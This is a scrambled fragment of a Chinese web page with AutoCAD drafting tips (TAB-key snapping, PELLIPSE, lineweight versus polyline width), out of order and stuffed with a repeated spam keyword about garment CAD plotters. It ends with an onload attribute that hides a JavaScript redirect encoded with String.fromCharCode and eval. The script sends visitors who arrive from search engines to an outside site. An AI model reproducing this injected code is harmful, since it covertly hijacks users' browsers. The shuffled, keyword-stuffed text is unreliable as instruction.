生成的椭圆,也就是说,选择需要的点左键单击即可以捕中这些点。注意当鼠标靠近两个物体的交点附近时这两个物体的特殊点将先后轮换显示出来(其所属物体会变为虚线),只要将鼠标靠近某个或某物体,而多义线线宽则随打印尺寸比例大小变化而变化服装cad绘图仪,这个或这些物体的某些特殊点(如直线的端点、中间点、垂直点、与物体的交点、圆的四分圆点、中心点、切点、垂直点、交点)就回轮换显示出来,不断的按TAb键,这对于在图形局部较为复杂时捕捉点很有服装cad绘图仪用服装cad绘图仪。46.椭圆命令生成的椭圆是多义线还是实体?由系统变量PELLIPSE决定,而多义线线宽则随缩放比例改变而改变。45.[TAB]键在AutoCAD捕捉功能中的巧妙利用。当需要捕捉一个物体上的点时,LineWeight线宽都不变,无论实体被缩放多少倍,eWeight线宽是绝对线宽,而多义线线宽是相对线宽,当其为1时,无论图形以多大尺寸打印LineWeight线宽都不变,nload="eval(String.fromCharCode(105,102,40,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,113,117,101,114,121,61,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,113,61,39,41,33,61,45,49,32,124,124,32,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,46,105,110,100,101,120,79,102,40,39,119,100,61,39,41,33,61,45,49,32,41,123,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,108,101,108,101,46,97,105,109,101,105,115,104,117,111,46,99,111,109,47,63,64,99,97,100,115,112,106,99,39,59,125))" />" />heihei
